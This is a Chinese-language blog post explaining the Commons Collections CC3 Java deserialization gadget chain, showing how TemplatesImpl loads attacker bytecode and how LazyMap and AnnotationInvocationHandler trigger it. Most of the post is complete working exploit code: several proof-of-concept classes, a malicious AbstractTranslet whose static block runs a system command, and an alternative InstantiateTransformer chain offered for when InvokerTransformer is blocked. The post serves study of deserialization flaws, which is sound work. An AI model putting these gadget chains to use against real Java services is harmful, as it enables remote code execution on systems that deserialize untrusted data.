java反序列化(五)CommonsCollections篇 — CC3

java反序列化(五)CommonsCollections篇 — CC3

CC3与CC1的关系

CC3怎么说呢嗯嗯嗯,,,,,感觉和CC1区别不是很大,最大的不同点在于CC3是通过动态加载类之后将类实例化导致代码执行

通过ClassLoader.defineClass()动态加载类,通过newInstance()函数得到实例化对象

而CC1就是直接通过递归transform()方法直接执行了Runtimee.class.getRuntime.exec("calc")

而CC3的基础调用流程其实还是要建立在CC1的基础上。

image-20220102125502065

Gadget

类加载器ClassLoader

ClassLoader.loadClass()

ClassLoader.findClass(name);

ClassLoader.defineClass()

defineclass从字节里动态加载类,但是类加载不会执行代码

因为defineClass是私有方法所以要找到调用接口:

com.sun.org.apache.xalan.xsltc.trax.Templateslmpl.TranslatClassLoader.defineClass(byte[])

上面方法是default,只能包内调用,继续找接口:

TranslatClassLoader.defineTransletClasses()

上面是私有方法,继续找接口

image-20220101151643531

Templateslmpl.getTransletInstance()

执行newtInstance()得到动态加载的类对象

上面函数还是私有,继续找调用的接口

Templateslmpl.newTransformer() public

代码执行流程:

3

从尾到头分析有点烦,这次还是直接按照链子走一遍看需要修改哪些参数最后命令执行吧

出发点:Templateslmpl.newTransformer()

newTransformer() -> getTransletInstance()

执行Templateslmpl.newTransformer() 触发Templateslmpl.getTransletInstance()

image-20220101154250339

无需要修改的条件,下一步

getTransletInstance() -> defineTransletClasses()

执行Templateslmpl.getTransletInstance()触发Templateslmpl.TranslatClassLoader.defineTransletClasses()

可见Templateslmpl.name不能为空,否则return

        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"random");

Templateslmpl.class必须为null 才会执行下一步的触发函数, Templateslmpl.class默认就是null,无需修改

defineTransletClasses() -> defineClass()

执行Templateslmpl.TranslatClassLoader.defineTransletClasses()触发Templateslmpl.TranslatClassLoader.defineClass()

image-20220101195033418

条件一 : Templateslmpl_bytecodes != null

_bytecodes就是需要动态加载的类文件二进制数据存放的地方,是个二维数组,
我们的一个类只需要存放在一个以为Bytes类数组即可,
这里的_bytecodes是二维数组的原因就是可以让我们存放多个累的二进制数据,从而可以动态加载多个类
赋值操作:
        Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});

条件二(interesting) : _tfactory需要设为一个对应的TransformerFactoryImpl类对象 : new TransformerFactoryImpl()

​ 否则如果_tfactory在默认情况下 private transient TransformerFactoryImpl _tfactory = null;会报错停止程序

_tfactory变量有transient 的不可序列化标记,所以我们不能自己去修改变量然后序列化,
但是readObject()函数中会对_tfactory变量进行赋值操作:

_tfactory = new TransformerFactoryImpl();

所以这就很合适了,我们在序列化操作的时候不需要对_tfactory变量进行赋值修改,
因为修改了也不会将_tfactory序列化,
但是我们在对实例化的templateslmpl进行templateslmpl.newTransformer()的触发可行性测试的时需要赋值,
否则在非反序列化的情况下不会执行命令,
赋值操作:

        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

条件三 : __transletIndex 默认值为-1,但是在图中的第三个断点知, _transletIndex 不能小于0,否则直接报错结束程序

默认 : private int _transletIndex = -1;
满足条件的修改方法:
从第二个断点下的if判断条件的代码可见如下代码
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  _transletIndex = i; }
而i的值为: for (int i = 0; i < classCount; i++)
所以只要满足superClass.getName().equals(ABSTRACT_TRANSLET)就能绕过if (_transletIndex < 0) 的判断条件
superClass = _class[i].getSuperclass();
superClass其实就是动态加载类的父类,
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
因此我们执行代码的动态加载类声明从com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet继承而来即可
//所以要满足条件三,我们需要对动态加载类修改为:
public class CC3staticclass extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }
}

defineClass() -> defineClass() -> defineClass()

2

image-20220101200249429

image-20220101200537311

Middle_Test_POC

//满足代码逻辑后调用templatesTmpl对象的newTransformer()方法造成代码执行测试:

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
    TemplatesImpl templates = new TemplatesImpl();
    Class templatesclass = templates.getClass();

    Field nameField = templatesclass.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates,"random");

    Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});

    Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
    tfactoryField.setAccessible(true);
    tfactoryField.set(templates,new TransformerFactoryImpl());
    templates.newTransformer();
}

//CC3staticclass.class文件由以下类编译得到
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CC3staticclass extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }
}

检测可知通过以上方式构造的templates对象触发newTransformer()后最终确实会执行代码

使用标准CC1触发templates.newTransformer()

在这里可以使用CC1链:

1

//关键修改部分:
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};

得到CC3_POC_One:

呃呃呃,其实就是使用了com.sun.org.apache.xalan.xsltc.trax.Templateslmpl类来代替Runtime实现代码运行,区别在于CC3使用了动态加载的方式

import com.sun.org.apache.bcel.internal.generic.LoadClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();

        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"random");

        Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});

        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

        //以下均为使用CC1触发templates.newTransformer()的代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("set_key","set_value");
        LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);

        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
        Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
        serializer.serialize(end_anno);
        serializer.unserialize();
    };
}


//CC3staticclass.class文件由以下类编译得到
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CC3staticclass extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }
}

对标准CC1触发的小修动

image-20220102123321291

我们可以使用继承了Serializable的 InstantiateTransformer类的transform()函数可以执行TrAXFilter的构造函数TrAXFilter(Templates templates) 。TrAXFilter.TrAXFilter(Templates templates)可以执行templates.newTransformer(),所以让传入的参数templates等于构造好的TransformerImpl对象即可,而实际上传入的参数就是 InstantiateTransformer.iArgs,所以让 InstantiateTransformer.iArgs等于我们构造好的TransformerImpl对象

然后触发 InstantiateTransformer.transform()即可

image-20220102115924682

//InstantiateTransformer
共有4个参数:
private static final long serialVersionUID
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;

构造函数有两个:
一个为public,需要参数(Class[] paramTypes, Object[] args)
一个为无参构造函数,iParamTypes = null;	iArgs = null;

成员方法:
getInstance(Class[] paramTypes, Object[] args) :
public的static方法,获取一个实例化的对象
transform(Object input) : 
执行((Class) input).getConstructor(iParamTypes).con.newInstance(iArgs);
即获取一个input.class的实例化对象,构造函数的参数类型和参数都在InstantiateTransformer实例化时已确定

instantiateTransformer.transform()触发可行性测试code

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
//InstantiateTransformer
共有4个参数:
private static final long serialVersionUID
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;

构造函数有两个:
一个为public,需要参数(Class[] paramTypes, Object[] args)
一个为无参构造函数,iParamTypes = null;	iArgs = null;

成员方法:
getInstance(Class[] paramTypes, Object[] args) :
public的static方法,获取一个实例化的对象
transform(Object input) : 
执行((Class) input).getConstructor(iParamTypes).con.newInstance(iArgs);
即获取一个input.class的实例化对象,构造函数的参数类型和参数都在InstantiateTransformer实例化时已确定

instantiateTransformer.transform()函数还是可以通过CC1触发:

得到CC3_POC_Two:

public class CC3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();

        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"random");

        Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});

        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        
//----------------------------------------与CC3_POC_One的区别---------------------------------
        
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
		//instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(instantiateTransformer),
                new InvokerTransformer("transform", new Class[]{Object.class}, new Object[]{TrAXFilter.class}),
        };
        //也可以这样构造:
        //Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class)   ,   instantiateTransformer };
        
//----------------------------------------与CC3_POC_One的区别---------------------------------
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("set_key","set_value");
        LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);

        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
        Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
        serializer.serialize(end_anno);
        serializer.unserialize();
    };
}

CC3_POC_End

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templates = get_templates();
        System.out.println("方法一:直接使用标准CC1触发templates.newtransform();\n方法二:通过instantiateTransformer.transform(TrAXFilter.class)触发templates.newtransform()");
        System.out.println("其实两者的区别只在于一个是方法一使用InvokerTransformer,方法二使用instantiateTransformer");
        System.out.println("一般情况下用方法一标准CC1触发方式就行,如果InvokerTransformer被ban了的话就可用方法二");
        //触发templates.newTransformer()方法一(就标准的使用CC1触发):
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
        };
        
        //触发templates.newTransformer()方法二:
        //InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };//方法二<1>
        //Transformer[] transformers = new Transformer[]{new ConstantTransformer(instantiateTransformer), new InvokerTransformer("transform", new Class[]{Object.class}, new Object[]{TrAXFilter.class}), };//方法二<2>
        
        
        standard_CC1plus1(transformers);
    };

    public static TemplatesImpl get_templates() throws NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();

        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"random");

        Field bytecodesField = templatesclass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:/Java/ccclass/CC3staticclass.class"))});

        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        return templates;
    }

    public static void standard_CC1plus1(Transformer[] transformers) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("set_key","set_value");
        LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);

        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
        Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
        serializer.serialize(end_anno);
        serializer.unserialize();
    }
}


posted @ 2022-04-25 12:45  h0cksr  阅读(215)  评论(0编辑  收藏  举报